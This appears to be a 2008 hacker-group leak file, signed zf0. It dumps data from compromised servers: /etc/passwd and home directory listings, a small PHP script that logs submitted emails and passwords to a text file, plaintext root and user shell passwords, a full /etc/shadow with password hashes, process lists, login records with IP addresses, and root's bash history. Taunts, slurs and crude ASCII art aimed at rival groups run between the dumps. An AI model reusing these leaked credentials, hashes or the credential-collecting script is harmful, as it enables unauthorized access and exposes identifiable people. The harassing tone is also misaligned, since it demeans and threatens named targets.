User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
picatta:*:1001:1001:picatta:/home/picatta:/bin/sh
general:*:1002:1002:general:/home/general:/bin/sh
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh
$ ls -al /usr/home
total 8
drwxr-xr-x 4 root wheel 512 Mar 8 07:48 .
drwxr-xr-x 17 root wheel 512 Mar 8 07:48 ..
drwxr-xr-x 2 general general 512 Mar 8 07:48 general
drwxr-xr-x 2 picatta picatta 512 Mar 8 07:47 picatta
$ cd ~picatta
$ ls -al
total 20
drwxr-xr-x 2 picatta picatta 512 Mar 8 07:47 .
drwxr-xr-x 4 root wheel 512 Mar 8 07:48 ..
-rw-r--r-- 1 picatta picatta 751 Mar 8 07:47 .cshrc
-rw-r--r-- 1 picatta picatta 248 Mar 8 07:47 .login
-rw-r--r-- 1 picatta picatta 158 Mar 8 07:47 .login_conf
-rw------- 1 picatta picatta 373 Mar 8 07:47 .mail_aliases
-rw-r--r-- 1 picatta picatta 331 Mar 8 07:47 .mailrc
-rw-r--r-- 1 picatta picatta 766 Mar 8 07:47 .profile
-rw------- 1 picatta picatta 276 Mar 8 07:47 .rhosts
-rw-r--r-- 1 picatta picatta 975 Mar 8 07:47 .shrc
$ cd ~general
$ ls -al
total 20
drwxr-xr-x 2 general general 512 Mar 8 07:48 .
drwxr-xr-x 4 root wheel 512 Mar 8 07:48 ..
-rw-r--r-- 1 general general 751 Mar 8 07:48 .cshrc
-rw-r--r-- 1 general general 248 Mar 8 07:48 .login
-rw-r--r-- 1 general general 158 Mar 8 07:48 .login_conf
-rw------- 1 general general 373 Mar 8 07:48 .mail_aliases
-rw-r--r-- 1 general general 331 Mar 8 07:48 .mailrc
-rw-r--r-- 1 general general 766 Mar 8 07:48 .profile
-rw------- 1 general general 276 Mar 8 07:48 .rhosts
-rw-r--r-- 1 general general 975 Mar 8 07:48 .shrc
$ cd /usr/local/www/apache22/data/auth
$ ls -al
total 8
drwxr-xr-x 2 root picatta 512 Mar 8 17:41 .
drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 ..
-rwxr-xr-x 1 root picatta 2 Mar 5 12:47 account.txt
-rwxr-xr-x 1 root picatta 169 Mar 5 12:47 login.php
$ cat account.txt
:
$ cat login.php
<?php
$email = $_POST['email'];
$password = $_POST['password'];
$fw = fopen('account.txt', 'a');
fwrite($fw, $email . ":" . $password . "/n");
fclose($fw);
?>
$ ls -al /var/mail
total 4
drwxrwxr-x 2 root mail 512 Mar 8 22:05 .
drwxr-xr-x 24 root wheel 512 Mar 8 22:05 ..
-rw------- 1 cyrus cyrus 0 Mar 8 22:05 cyrus
-rw------- 1 general general 0 Mar 8 07:48 general
-rw------- 1 mysql mysql 0 Mar 8 16:38 mysql
-rw------- 1 picatta picatta 0 Mar 8 07:47 picatta
$
/*****************************************************************/
Well, that was fun...
Remember, you are not as untouchable as you think you are. As long as you have a
website up somewhere or are IRC'ing on public networks (btw, do you honestly
think that EFNet provides a secure communications channel?) you are within the
reach of those who would wish you harm.
To be perfectly honest, you indoctrinate your members just as much as the
supposed evil CoS that you fight against. I honestly don't see the difference
between your methods and those that you allege they use.
Your actions are childish. You attack sites and people that have done nothing
to you and whom you have no battle with. Hell, a lot of the time you don't even
attack the right target. That speaks volumes about your collective abilities.
Again, we beseach you to remember that you are *not* untouchable. While 99% of
the time you will anger people who have no power to hit back, or who have
no friends with the ability to retaliate, the remaining 1% of the time you will
anger people who can and will hurt you.
Knock off this Chanology crap and go back to posting on 4chan and playing
CounterStrike. You're in a world you know nothing about and you do not belong
here.
We would have dumped your MediaWiki DB but it was full of crap and only had 32
registered users.
This was for you X. Hopefully it helps.
#############################################################
# THE ADVENTURES OF #
# __ #
# .--------.|__|.----.----.-----. #
# | || || __| _| _ | #
# |__|__|__||__||____|__| |_____| #
# __ #
# .-----.-----.-----.|__|.-----. #
# | _ | -__| || ||__ --| #
# | __|_____|__|__||__||_____| #
# |__| #
# #
#############################################################
# | # ________________________ #
# | [] []# | | #
# | # |<mp> r0fl3 i juST g0t | #
# FUCK YOU! Co$! | [] []# |bunCH of RFI's from b0ts| #
# / | # |i r teh le3ats | #
# / | ____# | | #
# lulz O_O i just | |___# |<sk1d> LUCKY!!11! | #
# raged you so | # | | #
# hard!! | ? __# '-.____________________.-' #
# / | o | # |________| #
#___8=D________________|__|_|_# ______/__________/______ #
#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/# |________________________| #
# # |(type type) | #
#- - - - - - - - - - # | / _____ _____ | #
# # | / ' / | #
#############################################################
# | # | #
# r0flzc0ptu3z i just | [] []# SHUT UP Co$!! | [] []#
# / | # / Thats IT! #
# swated that f4g and | [] []# / / | [] []#
# / | # / I'M CALLING| #
# / | ____# / / | ____#
# dropp3d his doc's | |___# / The | |___#
# i iz so0 |Go # / /| #
# l33t!! |Away__# Whats zf0no? zf0no___#
# / | 'o | # / | 'o | #
#___8=D________________|__|_|_#___8=D________________|__|_|_#
#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#/_/_/_/_/_/_/_/_/_/_/_/_/_/_/#
# # #
#- - - - - - - - - - #- - - - - - - - - - #
# # #
#############################################################
# #
# ,-. __ #
# ,' `---.___.---' `. #
# ,' ,- `-._ #
# ,' / / .- #
# ,// / zf0 + Rhino => zf0no // (( #
# )`._)>) | #
# `>,' _ / / |/ *-_ #
# ) / | | zf04 | | o `-. #
# , / / | `. | | o * (`-' #
#/ /`-' )-| `. | / '- .' #
#/`-` .` _/ / _ )`-.___.--/ / O _`-._ #
#_/_ ,'_____/ `.__/___________`. /_____,'^, c-)__#
#__/ , ,'/_/_/_/_// /`/_/_/_/_/_/_// /_/_/(_`-' ^-'`)#
# /__ / _) ( _) ( (^_ - _ |#
#- -`--' - - - -/____/- - - - -/____/-(_,-. 8=D |#
# `-_______* #
#############################################################
# #
# Once Again Micro Penis Is #
# __ #
# .-----.--.--.--.-----.-----.--| | #
# | _ | | | | | -__| _ | #
# | __|________|__|__|_____|_____| #
# |__| #
# (c) zf0 2008#
#############################################################
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0 zf0
zf0 g00ns zf0
zf0 zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
z3r0 -> tribal: its possible someone hacked the user account
z3r0 -> tribal: but doubtful
tribal -> z3r0: yeah but if thats true
tribal -> z3r0: they wouldn't be able to change the bash history
~~~~~~~~~~~~~~~~~~~~~~~~~~
Current g00ns shell passwords:
root:Yuh89Kiol0?
bnc:dwAFkCWx
barnseo:jatQeT77Q2be
~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@demon2 ~]# uname -a; id
Linux demon2.rage-servers.com 2.6.22.9-grsec #11 SMP Mon Feb 11 22:15:20 PST 2008 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@demon2 ~]# cat /etc/shadow
root:$1$eE12wKEE$tmHFeYudmmO3rwwe7l7Cj1:13917:0:99999:7:::
bin:*:13726:0:99999:7:::
daemon:*:13726:0:99999:7:::
adm:*:13726:0:99999:7:::
lp:*:13726:0:99999:7:::
sync:*:13726:0:99999:7:::
shutdown:*:13726:0:99999:7:::
halt:*:13726:0:99999:7:::
mail:*:13726:0:99999:7:::
news:*:13726:0:99999:7:::
uucp:*:13726:0:99999:7:::
operator:*:13726:0:99999:7:::
games:*:13726:0:99999:7:::
gopher:*:13726:0:99999:7:::
ftp:*:13726:0:99999:7:::
nobody:*:13726:0:99999:7:::
dbus:!!:13726:0:99999:7:::
mailnull:!!:13726:0:99999:7:::
smmsp:!!:13726:0:99999:7:::
nscd:!!:13726:0:99999:7:::
vcsa:!!:13726:0:99999:7:::
haldaemon:!!:13726:0:99999:7:::
rpc:!!:13726:0:99999:7:::
rpcuser:!!:13726:0:99999:7:::
nfsnobody:!!:13726:0:99999:7:::
sshd:!!:13726:0:99999:7:::
pcap:!!:13726:0:99999:7:::
rpm:!!:13726:0:99999:7:::
named:!!:13726::::::
apache:!!:13726::::::
diradmin:!!:13726::::::
mysql:!!:13726::::::
webapps:!!:13726:0:99999:7:::
majordomo:!!:13726::::::
admin:$1$k67PPtsg$vReIxhUQshkQHrgN8qop4/:13727:0:99999:7:::
barnseo:$1$eSkx8Cwh$l/eNlfFan8WqvNlt3CcJd/:13943:0:99999:7:::
bored:$1$VDoQ7SvP$hzgNmjDbAo1YV1UN1HnSa1:13727:0:99999:7:::
churc0:$1$tsI0iJf7$6NvNZKfpK/NMNbhrQTmlA0:13727:0:99999:7:::
connors:$1$2ULc9Bif$sujzvc6bBq/w9fUjMC/ru/:13727:0:99999:7:::
every:$1$wC6e9J4r$fHgJBV5mvsjDfu1mbP1ya1:13727:0:99999:7:::
evilcode:$1$w3V6Hy9R$Ulia4Vw0Ka2BppbF0/lH50:13732:0:99999:7:::
excodeirc:$1$rFGBHx30$NQBXJyn58wCMprwtX6zYw0:13774:0:99999:7:::
exploiterc:$1$VEmT3ImD$VxH8EvofWX8ewPX4M4wk00:13727:0:99999:7:::
felosii:$1$G2Mg7vW9$SoUIbysYX.nTApiriA6CC/:13727:0:99999:7:::
g00nsts395:$1$1joDOdxa$Us6bM7CJhw0BTgErxTI5p0:13748:0:99999:7:::
grumpy:$1$dX3cnqpU$oApeYwRlHfDpoG4RpaGwD.:13727:0:99999:7:::
illmob:$1$gFYsh9oD$LVzfHbh.UyLCGp/HoP2xC.:13727:0:99999:7:::
pingyill:$1$5b3IbBeK$pRofjZ3/JiBjPG3OYgP900:13727:0:99999:7:::
rageserver:$1$lI4HM14j$2vJACLQYNTxJDZ6GkJRBv0:13727:0:99999:7:::
robo:$1$u0sPxruz$eaFFqL4tnXsKcCOkrq2/O.:13727:0:99999:7:::
sn00g3s:$1$brOb0Seg$FGzBeV5S89j5AgDgYaRSG/:13970:0:99999:7:::
void:$1$tBjUtZVx$6Vzt0IHhNIQU8QLU6lymO/:13727:0:99999:7:::
alliancedn:$1$JitYsrIg$Mz0Q3fgnLDDmnEITkHB1t1:13727:0:99999:7:::
aosw:$1$2EhcyqE8$b2JIrTsCg6svFPqe4bSvB.:13727:0:99999:7:::
ntp:!!:13727::::::
hackrad:$1$pnZjslMq$F1X4eS3kW4DjnxNJq6l7w.:13727:0:99999:7:::
mycorp:$1$7PzKv9I_$SdcZN/fvAe5M1/g.nV3Ve/:13727:0:99999:7:::
ragedns:$1$0ZhTdSDG$8tIyV/igSTp2FW1DLg0bI.:13727:0:99999:7:::
shoutcas:$1$EyPac5O4$twiXOZ2pCQF2N02Yn1ysF/:13732:0:99999:7:::
g00ns83:$1$11pX9sPu$10H8SuDhVaqzctQl1hK/T.:13985:0:99999:7:::
avahi:!!:13728::::::
xfs:!!:13728::::::
bnc:$1$oJ272Xoy$A/YVfI3PIEVShTgTfBKVY1:13729:0:99999:7:::
felosi:$1$nsjb27Ih$r4cu3KkmTBUcHBnpKlcAd/:13729:0:99999:7:::
egg:$1$IhIgFiwf$ZbLk7EMZ2mW9h5SZ.mibv.:13735:0:99999:7:::
dougie:$1$xSp9e8mS$aiGml3legHEIUPrB5zyNp/:13737:0:99999:7:::
proc:!!:13748:0:99999:7:::
cstest:$1$ocq0fShx$6dKqaaMhVyvob5DW5sBeK1:13859:0:99999:7:::
partyvan:!!$1$lGkCPwxP$aaKltWujl.3mkQjqgKJ311:13864:0:99999:7:::
40zzz:$1$I1xSLk9k$0.mmuo5Si8UlQXaUJ4VRF1:13869:0:99999:7:::
tflux:$1$ftEvmzkA$RlkyQtPH.ebC0J8lWiZxm/:13875:0:99999:7:::
hthhost:$1$sdsbg7Bd$UaK2rXwsmZjwQYV8/4FUa1:13877:0:99999:7:::
party:$1$f2EVqqGx$H/sktpSQFCpoOz8tQpNsu/:13912:0:99999:7:::
silc:$1$dhGqC6Gf$UEHea6QzCwrkfB8ZB2gDV1:13897:0:99999:7:::
ident:!!:13910:0:99999:7:::
lost:$1$5EpPopQR$0klUI/mKzjxPR0CV7qp2f/:13926:0:99999:7:::
cunt:$1$7EyJ/1Qa$4Xy96JHb7dRjxxq.FDCsQ0:13947:0:99999:7:::
tribal:$1$qF0PcFfr$76GBdRhLgM5lEGpjZQLPL1:13947:0:99999:7:::
sixtyz:$1$9oLYqc3p$.KffXrzMGVAQ2bdOrgkoY1:13986:0:99999:7:::
hanon:$1$oQBfvCtT$LymNfsGG9wHkUwKn41Cim/:13961:0:99999:7:::
pvannet:$1$hYiASnKV$.CxXbIqEMR6kAoRRKVLfo1:13965:0:99999:7:::
[root@demon2 ~]# ps auxwww | grep -v root | grep -v mysql
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
ftp 2319 0.0 0.0 2736 1424 ? Ss Mar18 0:00 proftpd: (accepting connections)
dbus 3183 0.0 0.0 2784 672 ? Ss Feb11 0:00 dbus-daemon --system
mail 3813 0.0 0.0 8760 712 ? Ss Feb11 0:36 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid
avahi 4434 0.0 0.0 2600 648 ? Ss Feb11 0:00 avahi-daemon: running [demon2.local]
68 4450 0.0 0.0 5276 736 ? Ss Feb11 0:00 hald
named 4618 0.0 0.4 48712 8296 ? Ssl Feb11 55:55 /usr/sbin/named -u named
bnc 5470 0.0 0.0 5568 1560 ? S Feb11 0:53 ./psybnc
apache 12745 0.0 0.3 113532 7368 ? Ss Apr16 0:00 lsphp -c /usr/local/lib
bnc 14297 0.0 0.1 5544 2144 ? S Apr19 0:04 ./psybnc psybnc.gso.conf
nobody 15071 0.0 0.0 8708 1292 ? Ss Apr01 0:00 /usr/local/directadmin/directadmin d
510 16899 0.0 0.1 6728 3232 ? S Apr14 0:00 /home/excodeirc/Unreal3.2/src/ircd
evilcode 17493 0.0 0.8 19904 17704 ? S Apr19 1:08 /home/evilcode/newircd/Unreal3.2.7/src/ircd
egg 20683 0.0 0.2 17204 5172 ? Sl Apr14 7:14 ./eggdrop-1.6.18 v0ltr0n.conf
egg 20745 0.0 0.1 13380 3432 ? Sl Apr14 0:02 ./eggdrop sentry.conf
egg 20748 0.0 0.1 13544 3420 ? Sl Apr14 0:00 ./eggdrop boneless.conf
egg 20758 0.0 0.1 13404 3396 ? Sl Apr14 0:00 ./eggdrop keebler.conf
egg 20770 0.0 0.1 4412 3428 ? Ss Apr14 0:31 /home/egg/efnet/fight hacker
egg 20773 0.0 0.1 3548 2588 ? Ss Apr14 0:19 /home/egg/efnet/fight logic
egg 20776 0.0 0.1 3588 2692 ? Ss Apr14 0:17 /home/egg/efnet/fight bloo
egg 20779 0.0 0.1 3552 2640 ? Ss Apr14 0:18 /home/egg/efnet/fight etho
egg 20793 0.0 0.1 3564 2720 ? Ss Apr14 0:17 /home/egg/efnet/fight notgay
egg 20798 0.0 0.1 3576 2676 ? Ss Apr14 0:24 /home/egg/efnet/fight hthbot
513 23089 0.0 0.1 73380 2388 ? SNl Apr16 0:26 ./server_linux
513 23913 0.0 0.2 50844 5016 ? SNl Apr16 0:00 ./server_linux -PID=tsserver2.pid
apache 28366 0.0 0.6 121208 14104 ? S 13:11 0:00 lsphp -c /usr/local/lib
nobody 29950 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d
nobody 29960 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d
g00ns83 29999 0.0 0.5 114628 10976 ? S 13:26 0:00 lsphp -c /usr/local/lib
sn00g3s 30011 0.9 0.5 114844 11788 ? S 13:26 0:00 lsphp -c /usr/local/lib
every 30024 1.6 0.5 114452 12264 ? S 13:26 0:00 lsphp -c /usr/local/lib
nobody 30111 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d
nobody 30168 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d
nobody 30170 0.0 0.0 8708 572 ? S Apr20 0:00 /usr/local/directadmin/directadmin d
apache 32186 0.0 0.6 16400 12960 ? S Apr16 4:36 lshttpd
[root@demon2 ~]# ls -al
total 18128
drwxr-x--- 14 root root 4096 Mar 27 16:14 .
drwxr-xr-x 27 root root 4096 Mar 11 00:10 ..
-rw-r--r-- 1 root root 16777216 Sep 17 2004 16mb.test.file.zip
-rw------- 1 root root 1077 Jul 31 2007 anaconda-ks.cfg
drwxr-xr-x 2 root root 4096 Sep 13 2007 ani
-rw------- 1 root root 9305 Apr 21 13:23 .bash_history
-rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout
-rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile
-rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc
-rw-r--r-- 1 root root 337529 Apr 17 2006 Bastille-3.0.9-1.0.noarch.rpm
drwxrwxrwx 5 1000 1000 12288 Mar 17 19:47 c-ares-1.5.1
-rw-r--r-- 1 root root 445312 Nov 21 02:14 c-ares-1.5.1.tar.gz
-rw-r--r-- 1 root root 20136 Dec 19 19:30 cores
drwxr-xr-x 4 root root 4096 Feb 23 19:17 .cpan
drwxr-xr-x 5 root root 4096 Feb 10 12:56 csf
-rw-r--r-- 1 root root 238005 Jan 21 09:19 csf.tgz
-rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc
drwx------ 2 root root 4096 Jan 25 16:29 .elinks
-rw-r--r-- 1 root root 8192 Jan 6 17:37 flood
-rw-r--r-- 1 root root 13333 Jul 31 2007 install.log
-rw-r--r-- 1 root root 2551 Jul 31 2007 install.log.syslog
-rw-r--r-- 1 root root 12033 Jan 6 17:30 ips
-rw------- 1 root root 45 Apr 19 14:04 .lesshst
drwxr-xr-x 4 root root 4096 Dec 31 01:35 lynis
-rw-r--r-- 1 root root 46388 Dec 26 11:13 lynis-1.0.6.tar.gz
-rw-r--r-- 1 root root 754 Feb 10 17:12 Makefile
-rw-r--r-- 1 root root 0 Feb 10 17:12 Module.symvers
-rw------- 1 root root 41 Jan 31 02:49 .my.cnf
-rw------- 1 root root 419 Sep 29 2007 .nessusrc
-rw-r--r-- 1 root root 51 Sep 29 2007 .nessusrc.cert
-rw-r--r-- 1 root root 656 Jan 6 17:37 new
-rw-r--r-- 1 root root 656 Jan 6 17:38 new1
drwxr-xr-x 3 root root 4096 Mar 25 13:40 newircd
-rw-r--r-- 1 root root 1462 Aug 19 2007 opt.php
-rw-r--r-- 1 root root 3502 Feb 10 16:03 ptpatch2008.c
-rw-r--r-- 1 root root 5704 Feb 10 17:12 ptpatch2008.ko
-rw-r--r-- 1 root root 126 Feb 10 17:12 .ptpatch2008.ko.cmd
-rw-r--r-- 1 root root 870 Feb 10 17:12 ptpatch2008.mod.c
-rw-r--r-- 1 root root 3404 Feb 10 17:12 ptpatch2008.mod.o
-rw-r--r-- 1 root root 11168 Feb 10 17:12 .ptpatch2008.mod.o.cmd
-rw-r--r-- 1 root root 3080 Feb 10 17:12 ptpatch2008.o
-rw-r--r-- 1 root root 16774 Feb 10 17:12 .ptpatch2008.o.cmd
drwxrwxr-x 3 666 666 4096 Sep 22 2007 rkhunter-1.3.0
-rw-r--r-- 1 root root 252011 Sep 22 2007 rkhunter-1.3.0.tar.gz
-rw------- 1 root root 1024 Jan 31 05:43 .rnd
drwxr-xr-x 4 1000 1000 4096 Nov 29 14:48 rootcheck-0.7
-rw-r--r-- 1 root root 42488 Mar 17 2006 rootcheck-0.7.tar.gz
drwx------ 2 root root 4096 Feb 10 12:55 .ssh
drwxr-x--- 2 root root 4096 Dec 11 17:39 .steam
-rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc
drwxr-xr-x 2 root root 4096 Feb 10 17:12 .tmp_versions
-rw-r--r-- 1 root root 42596 Aug 9 2007 tuning-primer.sh
-rw-r--r-- 1 root root 11623 Jan 6 17:36 udpflood
-rw-r--r-- 1 root root 12033 Jan 6 17:30 udpips
[root@demon2 ~]# last -n 30
root pts/1 74-34-107-191.ds Mon Apr 21 03:44 - 13:23 (09:39)
andrei@t ftpd27076 99.146.188.71 Sun Apr 20 17:01 - 17:07 (00:05)
andrei@t ftpd21033 99.146.188.71 Sun Apr 20 16:06 - 16:11 (00:05)
andrei@t ftpd18185 99.146.188.71 Sun Apr 20 15:40 - 15:56 (00:15)
andrei@t ftpd14422 99.146.188.71 Sun Apr 20 15:04 - 15:20 (00:16)
every ftpd13689 76.189.145.31 Sun Apr 20 09:56 - 10:03 (00:07)
bnc pts/1 78.129.174.155 Sat Apr 19 20:27 - 20:31 (00:04)
bnc pts/1 78.129.174.155 Sat Apr 19 17:53 - 18:39 (00:45)
bnc pts/2 78.129.174.155 Sat Apr 19 15:03 - 15:06 (00:02)
root pts/2 ip70-180-48-83.b Sat Apr 19 10:35 - 11:25 (00:50)
every ftpd20255 76.189.145.31 Fri Apr 18 15:42 - 15:42 (00:00)
every ftpd18019 76.189.145.31 Fri Apr 18 15:26 - 15:41 (00:15)
root pts/0 fl-71-51-173-254 Wed Apr 16 19:52 - 20:43 (00:50)
andrei@t ftpd32363 99.146.188.71 Wed Apr 16 17:33 - 17:37 (00:04)
root pts/0 fl-71-51-173-254 Wed Apr 16 17:28 - 19:09 (01:41)
andrei@t ftpd30547 99.146.188.71 Wed Apr 16 17:18 - 17:29 (00:11)
andrei@t ftpd30546 99.146.188.71 Wed Apr 16 17:18 - 17:23 (00:05)
root pts/0 fl-71-51-173-254 Tue Apr 15 21:14 - 21:57 (00:42)
root pts/0 fl-71-51-173-254 Mon Apr 14 22:23 - 23:11 (00:47)
root pts/0 fl-71-51-173-254 Mon Apr 14 13:46 - 14:28 (00:42)
kl@60z.o ftpd10215 77.221.133.186 Mon Apr 14 00:32 - 00:32 (00:00)
andrei@t ftpd19694 99.146.188.71 Sun Apr 13 20:40 - 20:45 (00:05)
andrei@t ftpd12210 99.146.188.71 Sun Apr 13 19:22 - 19:36 (00:13)
andrei@t ftpd10428 99.146.188.71 Sun Apr 13 19:03 - 19:11 (00:07)
andrei@t ftpd9290 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05)
andrei@t ftpd9291 99.146.188.71 Sun Apr 13 18:52 - 18:57 (00:05)
root pts/0 ip70-180-48-83.b Sat Apr 12 11:39 - 11:40 (00:00)
root pts/0 ip70-180-48-83.b Sat Apr 12 10:02 - 10:06 (00:03)
root pts/0 fl-71-51-173-254 Thu Apr 10 13:32 - 13:45 (00:12)
root pts/0 fl-71-51-173-254 Mon Apr 7 17:43 - 18:36 (00:53)
wtmp begins Sun Mar 2 09:43:08 2008
[root@demon2 ~]# cat /etc/issue
CentOS release 5 (Final)
Kernel /r on an /m
[root@demon2 ~]# cat .bash_history
w
passwd g00ns83
top
w
cd /home
ls
ls pr0be
cd g00ns83
ls
cd public_html
ls
nano in.php
ls katalyst/
nano includes/config.php
nano includes/config.php
chown includes/config.php g00ns83
chown g00ns83 includes/config.php
ls includes
ls -o includes
ls
ls -o
ls image -o
ls -o image
chown g00ns83 *
ls
ls
cd /
ls
makeuser cunt
adduser cunt
passwd cunt
s
ls
cd /home/sn00g3s
cd public_Html
cd public_html
ls
mkdir hid
nano hid/index.php
chown sn00g3s
chown sn00g3s *
ls
ls -o
ls hid
rm -rf hid
cd /home/g00ns83/public_Html
cd /home/g00ns83/public_html
ls
mkdir tribal
cd tribal
nano index.php
rm index.php
nano index.php
rm index.php
nano index.php
rm index.php
nano index.php
cd /home/g00ns83
chown g00ns83 *
w
ls -o
cd /home
passwd cunt
cd /home/cunt
ls
wget http://www.shoutcast.com/downloads/sc1-9-8/sc_serv_1.9.8_Linux.tar.gz
ls
tar -xzf sc_serv_1.9.8_Linux.tar.gz
ls
nano sc_serv.conf
sudo cunt
su cunt
ls
cd unrealold/
ls
cd /home/excodeirc
ls
cd Unreal
cd Unreal3.2
ls
nano unrealircd.conf
ls
ls -o
cd /home/evilcodeirc
cd /home
ls
cd evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
cd Unreal3.2
ls
nano unrealircd.conf
ls -o
cd /hom
ls
cd /home
ls
ls -o
ls tmp
ls asbestos
cd asbestos
cd domains
ls
cd asbestosbeware.org
ls
cd /
ls
w
ls tmp
ls
ps -aux | grep ircd
netstat | grep ircd
ls
netstat
ddos
ddos
csf -d 24.3.92.79
nano /etc/csf/csf.allow
csf -d 24.3.92.79
csf -r
csf -d 24.3.92.79
csf
csf -c
csf -r
csf -d 24.3.92.79
nano /etc/csf/csf.allow
csf -d 24.3.92.79
ddos
syn
synall
ls
ls -o
ls root
cd /home/pr0be
ls
rm -rf irssi-0.8.12
rm irssi-0.8.12.tar.gz
ls
userdel
userdel -f pr0be
cd /home
ls
useradd tribal
passwd
ls
chown cunt *
su cunt
w
passwd tribal
ls
nano /etc/passwd
cd /home/tribal
ls
su tribal
ls
cd /home/tribal
ls
su tribal
ls
w
cd /
ls
nano /etc/csf/csf.deny
csf -r
cd /home
ls
cd excodeirc/
ls
cd Unreal
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
make install
su tribal
w
ls
who
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcodeirc
cd /home/evilcoders
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
nano /etc/csf/csf.deny
csf -a 24.205.142.108 /etc/csf
w
ddos
ddos
csf -r
syn
ls
ls
w
ddos
netstat
w
who
ls
cd /
ls
ls etc
ls var
ls bin
ls * | grep ddos
synd
ls
nano /etc/csf/csf.deny
nst | grep 72.20.26.211
netstat | grep 72.20.26.211
tcodump -nn -vv 72.20.26.211
tcpdump -nn -vv 72.20.26.211
netstat | grep 72.20.26.211
w
netstat | grep 72.20.26.211
w
dos
ls
ddos syng
ddos synd
ps -aux
kill -9 5174
ls
ps -aux
ls
ls /home
ls
cd /home/evilcode
ls
cd Unreal3.2
ls
./unreal
./unreal start
ps -aux
kill -9 3549
ps -aux
ls
ls ../
ls
ls ../../
su evilcode
ps -aux
ps -aux
ls
cd ../
ls
cd ../
ls
cd evilcode
ls
cd Unreal3.2
ls
nano unrealircd.conf
ls
cd ../../
ls
cd excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
su excodeirc
w
cd /home/excodeirc
netstat
ls
cd Unreal3.2
ls
nano unrealircd.conf
csf -d 79.126.130.156
w
ls
./unreal stop
./unreal start
nano unrealircd.conf
cd /home/evilcoder
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
cd /etc/csf
ls
nano csf.deny
nano unrealircd.conf
cd /home/excodeirc/Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
ls
cd /home
ls
cd pr0be/
ls
su pr0be
ls
su pr0be
nano etc/passwd
nano /etc/passwd
cd /home/tribal
su tribal
ls
cd /root
ls
wget
http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz
wget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz
ls
tar -xzf c-ares-1.5.1.tar.gz
ls
cd c-ares-1.5.1
ls
./configure
ls
cat README
make
cat README
make install
ls
cd /home/tribal
su tribal
w
cd /home/excodeirc
ls
cd Unreal3.2
ls
./unreal stop
nano unrealircd.conf
./unreal start
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
ls
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/excodeirc
ls
mkdir BULLSHIT
ls
rm -rf denora-1.2.0-RC4
rm denora-1.2.0-RC4.tar.gz
ls
ls psybnc
rm psybnc/
ls
rm -rf psybnc/
ls
rm -rf BULLSHIT/
ls
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano ircd.motd
chown evilcode *
cd /home/excodeirc
cd Unreal3.2
ls
chown excodeirc *
nano unrealircd.conf
ls
ls
w
cd /
nano unrealircd.conf
ls
ls /root
ddos
netstat
ddos
syn
synd
ddos
csf -d 218.186.12.8
ddos 10
ddos
ddos
ddos
ddos
csf
csf -c
csf -l
w
w
cd /
ls
w
netstat
ls
cd /home/evilcode
ls
cd unreal3.2
cd Unreal3.2
ls
nano unrealircd.conf
cd ../
ls
cd ../
